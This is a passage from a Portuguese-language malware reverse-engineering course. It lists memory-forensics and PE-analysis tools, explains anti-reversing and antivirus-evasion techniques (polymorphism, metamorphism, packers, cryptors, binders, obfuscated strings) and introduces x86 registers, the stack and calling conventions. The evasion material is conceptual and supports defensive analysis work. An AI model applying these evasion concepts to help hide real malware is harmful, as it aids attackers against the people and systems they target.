É um kit de ferramentas completo para aquisição e conversão de dumps de memória no Windows.
Pode lidar com vários tipos de dumps de memória como, por exemplo,VMWarememory snapshot,
Microsoft crash dump e até arquivos de hibernação do Windows. No kit há inúmeras ferramentas
como, por exemplo, a win32dd e a DumpIt que com apenas um clique realiza o dump da memória
física do Windows e salva no diretório atual, ideal para ser utilizada em drives USB para rápida
resposta a incidentes. O kit possui uma versão Professional paga e uma gratuita para a comunidade.
Download: http://www.moonsols.com/windows-memory-toolkit/.

- Memoryze
Ferramenta gratuita criada pela empresa MANDIANT para forense de memória. Memoryze pode
adquirir e/ou analisar toda a memória física ou apenas a referente a um processo, em um sistema em
execução ou em um dump de memória salvo. Também pode detectar rootkits e os hooks que eles
instalam. Para visualizar a saída gerada pela ferramenta Memoryze é necessário fazer download
também da ferramenta AuditViewer, o que torna o processo de análise rápido e mais intuitivo.
Download: http://www.mandiant.com/products/free_software/memoryze/.

- Volatility Framework
É uma coleção de ferramentas open source escritas em Python para live análise de dumps de
memória. Esse conjunto de ferramentas é útil para análise de malware, pois pode ser utilizada para
extrair DLLs injetadas em processos, detectar rootkits, encontrar processos ocultos, e muito mais. O
Volatility possui muitos usuários e colaboradores, então novos recursos estão constantemente sendo
desenvolvidos.
Download: http://code.google.com/p/volatility/.

Além dessas categorias existem ferramentas diversas que auxiliam em alguma tarefa
específica da análise do malware. Podemos citar algumas úteis para o arsenal do analista de
malware.
Engenharia Reversa e Análise de Malware | 18

Diversas

- CFF Explorer
Uma ferramenta designada para permitir a edição de arquivos PE de forma fácil. Útil para editar a
seção resources, adicionar imports, ou escanear por assinaturas.
Download: http://www.ntcore.com/.

- Dependency Walker
Ferramenta de análise estática para explorar DLLs e funções importadas por malwares. Constrói um
diagrama em formato de árvore hierárquica com todas as DLLs que serão carregadas na memória
quando o malware executar.
Download: http://www.dependencywalker.com/.

- Editores Hexadecimais
Editores hex permitem editar e visualizar arquivos contendo dados binários. Existem muitos
editores disponíveis alguns gratuitos e outros não, é necessário comparar as características de cada
para descobrir o mais apropriado. Como sugestão de ferramenta gratuita para Windows pode-se
baixar o HxDHex Editor, que possui uma boa interface gráfica e bom desempenho.
Download: http://mh-nexus.de/en/hxd/.

- ImportREConstructor
ImpREC é uma ferramenta útil quando se está realizando o unpacking manual de um malware. A
Import Address Table (IAT) é frequentemente danificada quando é feito o unpacking manual através
de um dump de memória e você pode utilizar o ImpREC para recuperar a tabela.
Download: http://tuts4you.com/download.php?view.415.

- PEview
PEview é uma ferramenta gratuita para visualizar as estruturas do arquivo PE. Você pode ver o
cabeçalho PE, seções individuais e as tabelas de import/export.
Download: http://www.magma.ca/~wjr/.

- Resource Hacker
É um utilitário gratuito para análise estática, com ele é possível visualizar, renomear, modificar,
adicionar, excluir e extrair informações da seção resources de binários do tipo PE. Devido aos
Engenharia Reversa e Análise de Malware | 19

malwares frequentemente extraírem uma DLL, ou um driver da seção resources em tempo de


execução, essa ferramenta é muito útil para extrair essas seções sem a necessidade de executar o
código malicioso.
Download: http://www.angusj.com/resourcehacker/.

- Strings
Ferramenta de análise estática para examinar strings em ASCII e Unicode em arquivos binários.
Utilizar Strings é frequentemente um jeito fácil de obter uma visão alto-nível das capacidades do
malware, mas esse está com algum packer ou ofuscação Strings não tem muita utilidade. O
comando Strings já vem nativo em todas as distribuições Linux e no Windows e possível fazer o
download da ferramenta, ela faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.

1.5. Antireversing e anti-antivirus

Atualmente quase todos os malwares possuem alguma espécie de “armadura” para se


protegerem. Primeiramente para evitarem ser detectados pelas ferramentas de segurança como
antivírus e sistemas de detecção de intrusão. Também querem ficar longe dos olhares curiosos dos
analistas de vírus, pesquisadores de segurança e outros profissionais interessados em realizar a
engenharia reversa do código.Além disso, essas técnicas de ofuscação também são utilizadas para
prevenir que outros “hackers” examinem o código, determinando onde o atacante está controlando
os computadores infectados ou armazenando os dados furtados das vítimas, e tomem para si essa
botnet para aumentar seus lucros ilícitos com phishings e distribuição de malwares. Ainda como
forma de proteção, dentro do código de um malware pode haver uma lista de outros malwares que
são desinstalados assim que o computador é infectado, mantendo pra si o controle total do
computador da vítima.
São utilizadas variadas técnicas para proteger e esconder o conteúdo original do arquivo, já é
bem comum utilizarem mais de uma camada de proteção em um código para terem certeza que ele
se permanecerá indetectável. Os mecanismos de antireversing mais conhecidossãopackers, cryptors
(criptografia) e binders, joiners ou wrappers.Também são utilizadas técnicas como polimorfismo e
metamorfismo para se manterem distantes dos programas antivírus. Vejamos a seguir o que cada
técnica significa e posteriormente em outras aulas explorá-las com mais detalhes.

1.5.1. Polimorfismo

A maneira mais fácil para o antivírus identificar programas maliciosos é através de


Engenharia Reversa e Análise de Malware | 20

assinaturas. Elemantém um banco de dados frequentemente atualizado com assinaturas de vírus,


que visa conter uma identificação única para cada malware conhecido. Esta identificação é baseada
em uma sequência única que foi encontrada em uma amostra específica do programa malicioso.
O polimorfismo é uma técnica que frustra a identificação baseada em assinatura porque ela
codifica ou criptografa o código do programa de uma forma que mantém a sua funcionalidade
original. A abordagem mais simples para o polimorfismo é baseada na criptografia do malware
usando uma chave aleatória e descriptografandoem tempo de execução. Dependendo do momento
que um antivírus examina o malware por sua assinatura, isso pode impedir a identificação precisa
do programa maliciosoporque cada cópia é completamente diferente (devido à criptografia que
utiliza a chave aleatória). Porém essa técnica não é livre de falhas já que o antivírus pode escanear o
malware na memória conseguindo atingir seu código original ou ainda utilizar como assinatura o
próprio algoritmo de descriptografiado malware que sempre será o mesmo.

1.5.2. Metamorfismo

Devido ao polimorfismo ser limitado a modificações superficiais no código de


descriptografia do malware ainda há muitos meios para o antivírus identificar código polimórfico,
isso pode ser feito analisando o código e extraindo certas informações de alto-nível dele.
Nessa situação que o metamorfismo é utilizado, ao invés de criptografar o corpo do
programa e realizar pequenas modificações no mecanismo de descriptografia, é possível alterar todo
o programa cada vez que o malware é replicado. A vantagem do metamorfismo (do ponto de vista
do autor) é que cada versão do artefato malicioso é radicalmente diferente das outras. Isso faz com
que seja muito difícil para os desenvolvedores dos antivírus utilizar qualquer tipo de detecção por
assinatura.
Metamorfismo requer um poderoso mecanismo de análise de código que precisa estar embutido
dentro do programa malicioso. Esse mecanismo escaneia o código do programa e gera uma
diferente versão dele em tempo de execução cada vez que o programa é duplicado. A parte
inteligente aqui é o tipo de modificações feitas pelo programa. Um mecanismo metamórfico pode
executar uma enorme variedade de alterações no programa malicioso, não precisa nem dizer que as
alterações são realizadas no programa todo inclusive no próprio mecanismo. Em resumo,
combinando diversas técnicas, um mecanismo metamórfico pode criar malware realmente flexíveis
que pode ser muito difícil de localizar e identificar.

1.5.3. Packers

Os termos packer (empacotador), compressor (compressor) e packing (embalagem) são utilizados


Engenharia Reversa e Análise de Malware | 21

nos meios hackers como sinônimo para se referirem geralmente a programas de ofuscação de
arquivos.Packers são programas que permitem ao usuário comprimir, e muitas vezes criptografar, o
conteúdo de um arquivo executável sem perder suas funcionalidades. Ele comprime o executável
original e por consequência ofusca seu conteúdo, cria um novo conteúdo de código executável,
insere no código uma rotina de descompressão, que geralmente fica no final do arquivo, e modifica
o entry point do executável para apontar para essa rotina de descompressão. Quando o programa é
executado a rotina de descompressão entra em ação e o programa é “unpacked” na memória,
iniciando assim a execução do código original.

1.5.4. Cryptors

Programas de criptografia de arquivos executáveis (encryptors), também conhecido nos meios


hackers como cryptors, crypters e protectors, têm os mesmos propósitos dos packers para os
atacantes, são utilizados para ocultar o conteúdo de um arquivo executável. Também tendem a se
manterem indetectáveis pelos antivírus e IDS e resistirem a esforços de engenharia reversa.
Diferente dos packers, os cryptors fazem isso utilizando um algoritmo de criptografia no
executável, fazendo com que o conteúdo arquivo alvo fique embaralhado e indecifrável. Cryptors
também inserem no código uma rotina de descriptografia que é responsável por trazer de volta o
conteúdo original do arquivo na memória toda vez que ele é executado. Além do algoritmo de
criptografia outra diferença dos packers é que eles geralmente não possuem algoritmos de
compressão de dados, não têm como objetivo diminuir o tamanho do arquivo.

1.5.5. Binders, Joiners ou Wrappers

Binder (também conhecido como joiner ou wrapper) em ambiente Windows recebe como
entrada um arquivo executável (geralmente malicioso) e outro arquivo qualquer (geralmente
benigno), e junta os dois formando um só arquivo executável. O autor pode determinar qual arquivo
será executado e se essa execução será oculta ou não, além de determinar em qual pasta será
copiado, quais ações a serem tomadas com os dois arquivos, etc. Por exemplo o atacante pode
combinar o arquivo malicioso com um arquivo JPG, quando a vítima executá-lo será aberta a
imagem JPG e o arquivo malicioso pode ser executado de forma oculta para não levantar suspeita.
Esse pode ser um mecanismo efetivo para distribuição de malwares.

1.5.6. Strings Ofuscadas

Veremos nos capítulos posteriores que quando um programa é compilado seu código-fonte é
Engenharia Reversa e Análise de Malware | 22

transformado em uma linguagem que o computador entenda, geralmente chamamos isso de


linguagem de máquina. Mesmo com essa transformação alguns elementos originais do código-fonte
do programa permanecem iguais, isso se a aplica para as cadeias de caracteres, mais conhecidas
como strings. Strings podem conter URLs, endereços de e-mails, conexões com servidores de banco
de dados, nomes de usuários e senhas, etc. Sabendo que essas informações podem permanecer
visíveis nos executáveis mesmo após o processo de compilação, os autores de malwares passaram a
adotar medidas para ofuscar o conteúdo dessas strings. Geralmente isso é feito através de
algoritmos de criptografia, antes de compilar o programa o atacante seleciona as strings originais do
código-fonte, as insere em programas cryptors de strings, pega o resultado (a string criptografada) e
substitui a original do código por essa nova. Feito isso, antes de usar cada string criptografada do
código ele faz uma chamada para uma função de descriptografia, que em tempo de execução irá
reverter o processo retornando a string original. Essa técnica será tratada em detalhes nos próximos
capítulos.
Engenharia Reversa e Análise de Malware | 23

2. Estruturas Internas dos Softwares

Softwares podem ser considerados umas das mais complexas criações do homem moderno.
O seu desenvolvimento envolve inúmeras ferramentas como linguagens de programação,
compiladores, linkers, debuggers, sistemas operacionais, etc. No surgimento dos computadores os
programadores de software deveriam conhecer todos os mecanismos internos do ambiente onde
seus programas seriam executados, caso contrário não obteriam sucesso. Isso inclui gerenciamento
de memória, funcionamento da CPU, linguagem de máquina e muitos outros tópicos. Com o passar
dos anos, até chegar aos dias atuais, foram criadas diversas camadas de abstrações no
desenvolvimento de software. Isso possibilita que o desenvolvedor não mais precise conhecer todos
os mecanismos internos do computador para conseguir produzir um software. De forma
simplificada ele precisa apenas entender algumas instruções (linguagens de programa de alto-nível)
que informam ao computador o que fazer.
Malware nada mais é do que um software com intenções maliciosas, desse modo do ponto
de vista da engenharia reversa de malware esse avanço que tivemos no desenvolvimento de
software não é muito bom já que ele deixou os programadores com menos conhecimentos dos
aspectos internos dos softwares.
Ao analisar um malware a única coisa que temos é o arquivo malicioso e mais nada, não
temos o código-fonte com a linguagem de alto-nível que foi utilizada para criá-lo. E as informações
que conseguimos extrair desse arquivo geralmente estão em baixo-nível, por isso quanto maior for o
conhecimento dessas estruturas internas dos softwares mais resultados satisfatórios conseguiremos
extrair das ferramentas. Vamos então iniciar nossa jornada ao mundo dos softwares!

2.1. Níveis de abstração

Em arquitetura de computadores, tradicionalmente um computador pode ser representado


através de inúmeros níveis de abstração (camadas) para assim criar um meio de esconder detalhes
de implementação. Por exemplo, você pode executar o sistema operacional Windows em diferentes
tipos de hardware porque a camada de hardware abaixo é abstraída do SO.
Autores de malware criam programas em linguagens de alto-nível e usam um compilador
para gerar código de máquina que será executado pela CPU. Reciprocamente, analistas de malware
e engenheiros reversos operam no nível das linguagens de baixo-nível; nós utilizamos um
disassembler para gerar código assembly e assim podemos ler e analisar para tentar descobrir como
Engenharia Reversa e Análise de Malware | 24

um programa malicioso funciona.


A Figura abaixo mostra um modelo simplificado de três níveis de código envolvidos em
análise de malware.

Apesar de haver apenas três níveis de abstração na figura, geralmente computadores são
descritos com os seis diferentes níveis de abstração que se seguem. Listaremos esses níveis
começando pelo mais baixo. Os níveis mais altos são colocados no topo e quanto mais baixo você
vai, menor o nível de portabilidade dos sistemas.

Hardware: O nível do hardware, o único nível físico, consiste em circuitos elétricos que
implementam complexas combinações de operadores lógicos como o XOR, AND, OR e NOT,
conhecido como lógica digital. Por causa da sua natureza física, o hardware não pode ser facilmente
manipulado por software.

Microcódigo: O nível microcódigo também é conhecido como firmware. Microcódigo opera


somente no exato circuito para o qual foi projetado. Ele contém micro instruções que traduzem o
código de máquina de alto-nível para prover um meio de interface com o hardware. Quando
realizamos análise de malware geralmente não nos preocupamos com o microcódigo porque ele é
bem específico para o hardware para o qual foi escrito.

Código de máquina: O nível do código de máquina consiste em opcodes, dígitos hexadecimais que
dizem ao processador o que você quer que ele faça. Código de máquina tipicamente é
implementado com muitas instruções de microcódigo, assim a camada abaixo de hardware
consegue executar o código. Ele é criado quando um software escrito em linguagem de alto-nível é
compilado.
Engenharia Reversa e Análise de Malware | 25

Linguagens de baixo-nível: Uma linguagem de baixo-nível é a versão amigável aos humanos do


conjunto de instruções da arquitetura do computador. A linguagem mais comum de baixo-nível é a
linguagem assembly. Analistas de malware operam no nível das linguagens de baixo-nível porque o
código de máquina é muito difícil para humanos compreenderem. Utilizamos um disassembler para
gerar texto em linguagem de baixo-nível, que consiste em simples mnemônicos como o MOV e
JMP. Existem diferentes dialetos da linguagem assembly, durante o curso iremos focar na sintaxe
Intel x86. Assembly é a linguagem de mais alto nível que conseguimos recuperar de forma
consistente e confiável do código de máquina quando o código-fonte original de alto-nível não está
disponível.

Linguagens de alto-nível: A maioria dos programadores opera no nível das linguagens de alto-
nível. Elas fornecem forte abstração do nível de máquina e facilitam o uso de lógica de
programação e mecanismos de controle de fluxo. Linguagens de alto-nível incluem C, C++, Visual
Basic, Pascal, e outras. Essas linguagens são tipicamente convertidas em código de máquina por um
compilador através de um processo chamado compilação.

Linguagens interpretadas: Linguagens interpretadas estão no nível mais alto. Muitos


programadores utilizam linguagens interpretadas como C#, Perl, Python, .NET e Java. O código
nesse nível não é compilado em código de máquina; ao invés disso, é traduzido em bytecode.
Bytecode é uma representação intermediária que é específica da linguagem de programação. Eles
executam em um interpretador, que é um programa que traduz bytecode em código de máquina em
tempo de execução. Um interpretador fornece um nível automático de abstração quando comparado
com código compilado tradicional, porque ele manipula erros e gerenciamento de memória por si
próprio, independentemente do sistema operacional.

2.2. Engenharia Reversa

Quando um malware está armazenado no disco, ele geralmente está no formato binário no
nível de código de máquina. Como foi discutido, código de máquina é uma forma de código que o
computador pode executar rapidamente e eficientemente. Quando nós fazemos o disassembly do
malware (como mostrado na figura acima), o arquivo binário é usado como entrada para gerar
código da linguagem assembly como saída, com a ajuda de um disassembler (IDA Pro).
Linguagem assembly é na verdade uma classe de linguagens. Cada dialeto do assembly é
normalmente utilizado para programar uma única família de processadores, como por exemplo x86,
x64, SPARC, PowerPC, MIPS e ARM. A x86 é de longe a arquitetura mais popular para PCs.
Engenharia Reversa e Análise de Malware | 26

A maioria dos computadores pessoais de 32-bit são x86, também conhecidos como Intel IA-
32, e todas as versões mais modernos do Microsoft Windows de 32-bit são projetados para rodar na
arquitetura x86. Adicionalmente, a maioria das arquiteturas AMD64 e Intel 64 que rodam Windows
também suportam binários para a arquitetura x86 32-bit. Por essa razão, a maioria dos malwares são
compilados para a x86, que será o foco desse curso. Agora iremos nos focar nos aspectos mais
importantes da arquitetura x86 para a análise de malwares.

2.3. A Arquitetura x86

As características internas da maioria das arquiteturas dos computadores atuais seguem a


arquitetura de Von Neumann, ilustrada na figura abaixo. Ela tem três componentes de hardware:
- A central processingunit (CPU) executa código.
- A mainmemory (memória principal) do sistema (RAM) armazena todos os dados e código.
- Um sistema de entrada/saída (input/output, I/O) faz a interface com os dispositivos como
discos rígidos, teclados e monitores.

Como é possível ver na figura, a CPU possui vários componentes:


- A controlunit coordena a execução de instruções vindas da RAM, através de um registrador
(o instruction pointer, EIP) que armazena o endereço da instrução a ser executada. Ela também
envia resultados da ALU para a RAM.
- Registradores são unidades de armazenamento básicas da CPU e são frequentemente
utilizados para poupar tempo, assim a CPU não precisa acessar a RAM.
- A ALU, arithmeticlogicunit (unidade lógica e aritmética), executa uma instrução trazida da
RAM e coloca os resultados nos registradores ou na própria RAM.
O processo de trazer e executar instrução após instrução é repetido enquanto o programa
Engenharia Reversa e Análise de Malware | 27

está rodando.

2.4. Memória Principal (RAM)

A memória principal para um programa em execução pode ser dividida em quatro seções
principais, como mostrado na figura abaixo.

Dados: Esse termo pode ser utilizado para referenciar uma seção específica da memória chamado
de datasection, que contém dados que são carregados na memória assim que o programa é
executado. Esses valores às vezes são chamados de dados estáticos porque eles não mudam
enquanto o programa está rodando, ou também podem ser chamados de dados globais porque estão
disponíveis para qualquer parte do programa.

Código: Código inclui as instruções que são trazidas pela CPU para executar as tarefas do
programa. O código controla o que o programa faz e como as tarefas do programa serão
coordenadas.

Heap: A heap é utilizada para memória dinâmica durante a execução do programa, para criar
(alocar) novos dados e eliminar (free) dados que o programa não mais precisa. A heap é também
conhecida como memória dinâmica pois seu conteúdo pode mudar frequentemente enquanto o
programa está rodando.

Stack: A stack (pilha) é utilizada para variáveis locais e parâmetros de funções, e ajuda no controle
do fluxo do programa. Falaremos com mais detalhes da stack logo mais.
Engenharia Reversa e Análise de Malware | 28

Embora a figura mostre as quatro seções principais em um ordem específica, essas seções
pode ser alocadas em qualquer parte da memória. Por exemplo, não há garantia que a stack estará
abaixo ao código ou vice versa.

2.5. Instruções

Instruções são os blocos que constroem os programas. Em assembly x86, uma instrução é
composta de um mnemônico e zero ou mais operandos. Como mostrado abaixo, o mnemônico é
uma palavra que identifica a instrução a ser executada, como por exemplo MOV, que movem dados.
Operandos são normalmente utilizados para identificar informações usadas pela instrução, como por
exemplo um registrador ou valor.

Formato de uma instrução


Mnemônico Operando de destino Operando de origem
MOV ECX 0x42

2.6. Opcodes e Endianness (Ordenação)

Cada instrução corresponde a opcodes (operation codes) que diz à CPU qual operação o
programa quer realizar. Disassemblers traduzem opcodes em instruções legíveis por humanos. Por
exemplo, na tabela abaixo você pode ver que o opcodes para a instrução “MOV ECX, 0x42” são
“B9 42 00 00 00”. O valor 0xB9 corresponde ao “MOV ECX,” e “0x42000000” corresponde ao
valor 0x42.

Instruções e Opcodes
Instrução MOV ECX, 0x42
Opcodes B9 42 00 00 00

0x42000000 é tratado como o valor 0x42 porque a arquitetura x86 usa o formato little-
endian. A endianness (ordem dos bytes) dos dados descreve se o mais significativo (big-endian) ou
o menos significativo (little-endian) byte é ordenado primeiro, no endereço mais baixo da memória.
Mudança de endianness é algo que o malware deve fazer durante a comunicação com a rede, isso
devido aos dados de rede utilizarem o big-endian e programas x86 utilizarem little-endian. Dessa
forma, o endereço IP 127.0.0.1 será representado como 0x7F000001 em big-endian (na rede) e
Engenharia Reversa e Análise de Malware | 29

0x0100007F em little-endian (localmente na memória). Como um analista de malware você deve


ser conhecedor desses formatos para ter certeza que não irá acidentalmente inverter a ordem dos
bytes de importantes indicadores como um endereço IP.

2.7. Operandos

Operandos são utilizados para identificar os dados usados por uma instrução. Três tipos de
operandos podem ser usados:
- Imediatos: operandos que possuem valor fixo, como por exemplo 0x42.
- Registradores: operandos que se referem aos registradores da CPU, como por exemplo
ECX.
- Endereços de memória: operando que fazem referência a endereços da memória que
contenham um valor de interesse, tipicamente denotados por um valor, registro ou equação entre
colchetes, como exemplos [0xFFFFFFAA], [ECX] e [ECX+0x08].

2.8. Registradores

Um registrador é o menor local de armazenamento de dados disponível para a CPU, cujo


conteúdo pode ser acessado mais rapidamente que qualquer outro tipo de armazenamento.
Processadores x86 têm uma coleção de registradores disponíveis, a tabela abaixo mostra o
registrados mais comuns que se encaixam nesse quatro categorias:
- Registradores de uso geral são utilizados pela CPU durante a execução do programa.
- Registradores segmentados são utilizados para mapear seções da memória.
- Flags de status são utilizadas para a tomada de decisões.
- Instruction Pointers são utilizados para manter a sequência da próxima instrução a ser
executada.

Você pode utilizar a tabela abaixo como referência para consulta durante essa aula, as
próximas seções discutem cada uma dessas categorias.

Os Registradores x86
Registradores de uso geral Registradores Flags de status Instruction pointers
segmentados
EAX (AX, AH, AL) CS EFLAGS EIP
Engenharia Reversa e Análise de Malware | 30

EBX (BX, BH, BL) SS


ECX (CX, CH, CL) DS
EDX (DX, DH, DL) ES
EBP (BP) FS
ESP (SP) GS
ESI (SI)

Todos os registradores de uso geral possuem 32 bits de tamanho e podem ser referenciados
como 32 bits ou 16 bits no código assembly. Por exemplo, EDX é utilizado para referenciar o
registrador de 32 bits inteiro, e DX é utilizado para referenciar os 16 bits menores do registrador
EDX.
Quatro registradores (EAX, EBX, ECX e EDX) também podem ser referenciados como 8
bits usando os 8 bits mais baixos ou o segundo conjunto de 8 bits mais baixo. Exemplo, AL é
utilizado para referenciar os 8 bits mais baixos do registrador EAX, e o AH é utilizado para
referenciar o segundo conjunto de 8 bits mais baixos.
A tabela acima lista as possíveis referências para cada registrador geral. O EAX
desmembrado é ilustrado na figura abaixo. No exemplo, o EAX de 32 bits (4 bytes) contém o valor
0xA9DC81F5 e o código pode referenciá-lo de três formas adicionais: AX (2 bytes) que é 0x81F5,
AL (1 byte) que é 0xF5 e AH (1 byte) que é 0x81.

Registradores de uso geral

Esses registradores geralmente armazenam dados ou endereços de memória e são raramente


utilizados alternadamente. Todavia, apesar de serem chamados de registradores globais, eles nem
Engenharia Reversa e Análise de Malware | 31

sempre são empregados dessa forma.


Algumas instruções x86 usam registradores específicos por padrão. Por exemplo, as
instruções de multiplicação e divisão sempre utilizam o EAX e EDX. Adicionalmente, instruções
específicas em determinados compiladores podem sempre utilizar o mesmos registradores em todo
o programa. Isso é chamado de convenção. O conhecimento das convenções utilizadas pelos
compiladores permitem ao analista de malware examinar o código mais rapidamente. Uma exemplo
de convenção é o EAX que normalmente armazena o valor de retorno de uma função. Dessa forma
se você ver o EAX logo após um CALL você provavelmente saberá que os dados manipulados
através do EAX dizem respeito ao retorno da função.

Flags

O registrador EFLAGS é um registrador de status. Na arquitetura x86, ele possui 32 bits de


tamanho e cada bit é uma flag. Durante a execução, cada flag é ligada (1) ou desligada (0) para
controlar as operações da CPU ou indicar resultados dessas operações. As flags abaixo são as mais
importantes para a análise de malware:
- ZF: A Zero Flag é ligada (1) quando o resultado de uma operação é igual à zero; para
outros resultados ela é desligada (0).
- CF: A Carry Flag é ligada (1) quando o resultado de uma operação é muito grande ou
muito pequeno para um operando, para outros resultados ela é desligada (0).
- SF: A Sign Flag é ligada (1) quando o resultado de uma operação é negativo ou desligada
(0) quando o resultado é positivo. Essa flag também é ligada quando o bit mais significativo é
ligado após uma operação aritmética.
- TF: A Trap Flag é usada para debugging. O processador x86 irá executar somente uma
instrução por vez quando essa flag estiver ligada (1).

EIP, InstructionPointer

Na arquitetura x86, o EIP, também conhecido como instruction pointer ou contador do


programa, é um registrador que contém o endereço de memória da próxima instrução que será
executada pelo programa. O único propósito do EIP é dizer ao processador o que fazer em seguida.

Nota sobre ataques ao EIP


Quando o EIP é corrompido (isto é, ele aponta para um endereço de memória que não contém
código legítimo do programa), a CPU não será capaz de trazer código legítimo para ser executado,
Engenharia Reversa e Análise de Malware | 32

então o programa que estiver rodando irá dar erro. Quando você controla o EIP você pode controlar
o que será executado pela CPU, esse é o motivo pelo qual os atacantes tentam obter o controle do
EIP em uma exploração. Normalmente os atacantes têm o código de ataque na memória e então
alteram o EIP para apontar para o código do exploit.

2.9. A pilha (Stack)

Memória para funções, variáveis locais, e controle do programa são armazenadas na pilha,
que é uma estrutura de dados caracterizada por PUSHs e POPs.Você empilha (PUSH) itens e os
desempilha (POP). A pilha utilizada a estrutura LIFO, last in, first out. Por exemplo, se você
empilhar os números 1, 2 e 3 nessa ordem, o primeiro número a ser desempilhado será o 3, pois ele
foi o último a ser empilhado.
A arquitetura x86 possui por padrão suporte ao mecanismo da pilha. Os registradores que a
suportam são o ESP e o EBP. ESP é o stack pointer (ponteiro da pilha) e normalmente contém o
endereço de memória que aponta para o topo da pilha. O valor do registrador é alterado sempre que
um item é empilhado ou desempilhado. O EBP é o base pointer (ponteiro da base) que se mantém
consistente com uma determinada função do programa, assim o programa pode utilizá-lo como um
marcador reservado para manter mapear a localização de variáveis locais e parâmetros.
Instruções assembly que lidam com a pilha são PUSH, POP, CALL, LEAVE, ENTER e RET. A
pilha é alocada na memória no formato de cima para baixo (top-down), assim o endereço mais alto
de memória é alocado e usado primeiro. Assim que os itens são empilhados, os endereços menores
são usados. A próxima figura mostrará isso.
A pilha é utilizada somente para armazenamento de curto prazo, ela frequentemente
armazena variáveis, parâmetros e endereços de retorno. Seu uso primário é para o gerenciamento de
dados trocados entre funções. A implementação desse gerenciamento varia de acordo com os
compiladores, mas a convenção mais comum é que as variáveis locais e os parâmetros sejam
referenciados relativamente pelo EBP. Geralmente a expressão [EBP - valor] diz respeito a um
endereço na pilha onde está armazenada uma variável local e a expressão [EBP + valor] se refere a
um parâmetro passado para a função. Saber isso é muito útil para a engenharia reversa de malware.

2.10. Chamadas de Funções (FunctionCalls)

Funções são porções de código dentro de um programa que realizam tarefas específicas e
são relativamente independentes do resto do código. O código principal chama e temporariamente
transfere a execução do programa para a função antes de retornar ao código principal. A forma
Engenharia Reversa e Análise de Malware | 33

como a pilha é utilizada pelo programa depende exclusivamente do binário, cada um pode possuir
um jeito diferente de lidar com ela. Agora iremos discutir a convenção mais comum, conhecida
como cdecl.
Muitas funções contêm um prólogo – algumas poucas linhas de código no início da função.
O prólogo prepara a pilha e os registradores para serem utilizados pela função. Da mesma forma um
epílogo no final da função restaura a pilha e os registradores para o estado anterior da chamada da
função.
A lista abaixo enumera a sequência das implementações mais comuns de chamadas de função.
Em seguida, a figura mostra um diagrama do layout da pilha para um stack frame individual, que
deixa clara a organização das pilhas.

1- Argumentos são colocados na pilha usando instruções PUSH.


2- A função é chamada com “CALL localização na memória”. Isso faz com o endereço da
instrução atual (isto é, o conteúdo do registrador EIP) seja colocado na pilha. Esse endereço
será usado para retornar ao código principalmente quando a função for finalizada. Quando a
função se inicia, é atribuído ao EIP o endereço da memória (início da função).
3- Com o uso do prólogo da função (function prologue), espaço é alocado na pilha para
variáveis locais e o EBP (base pointer) é colocado na pilha. Isso é feito para salvar o EBP
para o código principal que chamou a função.
4- A função executa suas tarefas.
5- Através do uso do epílogo a pilha é restaurada. ESP é ajustado para liberar o espaço
utilizado pelas variáveis locais e o EBP é restaurado, assim a o código que chamou a função
pode referenciar suas variáveis corretamente. A instrução LEAVE pode ser utilizada como
um epílogo porque ela atribui ao ESP o valor do EBP e retira o EBP da pilha.
6- A função retorna chamando a instrução RET. Ela retira o valor de retorno da pilha e coloca
no EIP, dessa forma o programa continua sua execução do local original onde a função foi
chamada.
7- A pilha é ajustada para remover os argumentos que foram enviados, a menos que eles sejam
utilizados novamente mais tarde.

2.11. Layout da Pilha (stack layout)

Como foi discutido, a pilha é alocada de um modo top-down, com o endereço de memória
mais alto sendo utilizado primeiro. A figura abaixo mostra como é aparência da pilha na memória.
Cada vez que uma chamada de função – CALL – é executada, um novo stack frame é gerado. Uma
Engenharia Reversa e Análise de Malware | 34

função mantém seu próprio stack frame até retornar, nessa hora o stack frame da função que a
chamou é restaurado e a execução é transferida de volta pra ela (para a calling function).

A próxima figura mostra a dissecação um stack frame individual da figura acima. Os


endereços de memória também são mostrados. Nesse diagrama, o ESP apontaria para o topo da
pilha, que corresponde ao endereço 0x12F02C. O EBP deverá receber o endereço 0x12F03C na
duração total da função, assim as variáveis locais e os argumentos podem ser referenciados através
do EBP. Os argumentos são colocados na pilha na base do stack frame, antes da chamada (CALL)
da função. Em seguida ela possui o endereço de retorno que é colocado na pilha automaticamente
pela instrução CALL. O antigo EBP é o próximo na pilha, esse é o EBP da função de chamada.
Quando um item for colocado na pilha, o ESP será decrementado. No exemplo da figura
abaixo, se a instrução PUSH EAX fosse executada, o ESP seria decrementado por quatro e possuiria
o endereço 0x12F028. Caso a instrução POP EBX fosse executada, o valor 0x12F028 seria movido
para o registrador EBX e então o ESP seria incrementado em quatro.
Engenharia Reversa e Análise de Malware | 35

É possível ler dados da pilha sem utilizar as instruções PUSH e POP. Por exemplo, a
instrução MOV EAX, SS:[ESP] irá acessar diretamente o topo da pilha. Isso é idêntico a POP EAX,
exceto que o registrador ESP não é impactado. A convenção utilizada depende do compilador e
como ele está configurado.
A arquitetura x86 fornece instruções adicionais para empilhar e desempilhar itens, as mais
populares são PUSHA e PUSHAD. Essas instruções colocam todos os registradores na pilha e são
comumente utilizadas com POPA e POPAD, que retiram todos os registradores da pilha. As
instruções PUSHA e PUSHAD funcionam da seguinte forma:
- PUSHA coloca na pilha registradores 16-bit na seguinte ordem: AX, CX, DX, BX, SP, BP,
SI e DI.
- PUSHAD coloca na pilha registradores 32-bit na seguinte ordem: EAX, ECX, EDX, EBX,
ESP, EBP, ESI e EDI.
Essas instruções são normalmente encontradas em shellcodes quando alguém quer salvar o
estado atual dos registradores na pilha, dessa forma ele pode restaurá-los mais tarde. Compiladores
raramente utilizam essas instruções, então encontrá-las com muita frequência indica que alguém
manualmente codificou o assembly e/ou o shellcode.
Engenharia Reversa e Análise de Malware | 36

2.12. Exemplo de código em C e Assembly

É importante sabermos como um programa em uma linguagem de alto-nível se traduz para


uma de baixo-nível. Nesse caso iremos utilizar as linguagens C e assembly. Isso irá ajudá-lo a
entender a diferença nas suas construções.
Um programa padrão em C possui dois argumentos no método main, tipicamente dessa
forma:

int main(int argc, char ** argv)

Os parâmetros argc e argv são determinados em tempo de execução. O parâmetro argc é um


inteiro que contém o número de argumentos da linha de comando, incluindo o nome do programa.
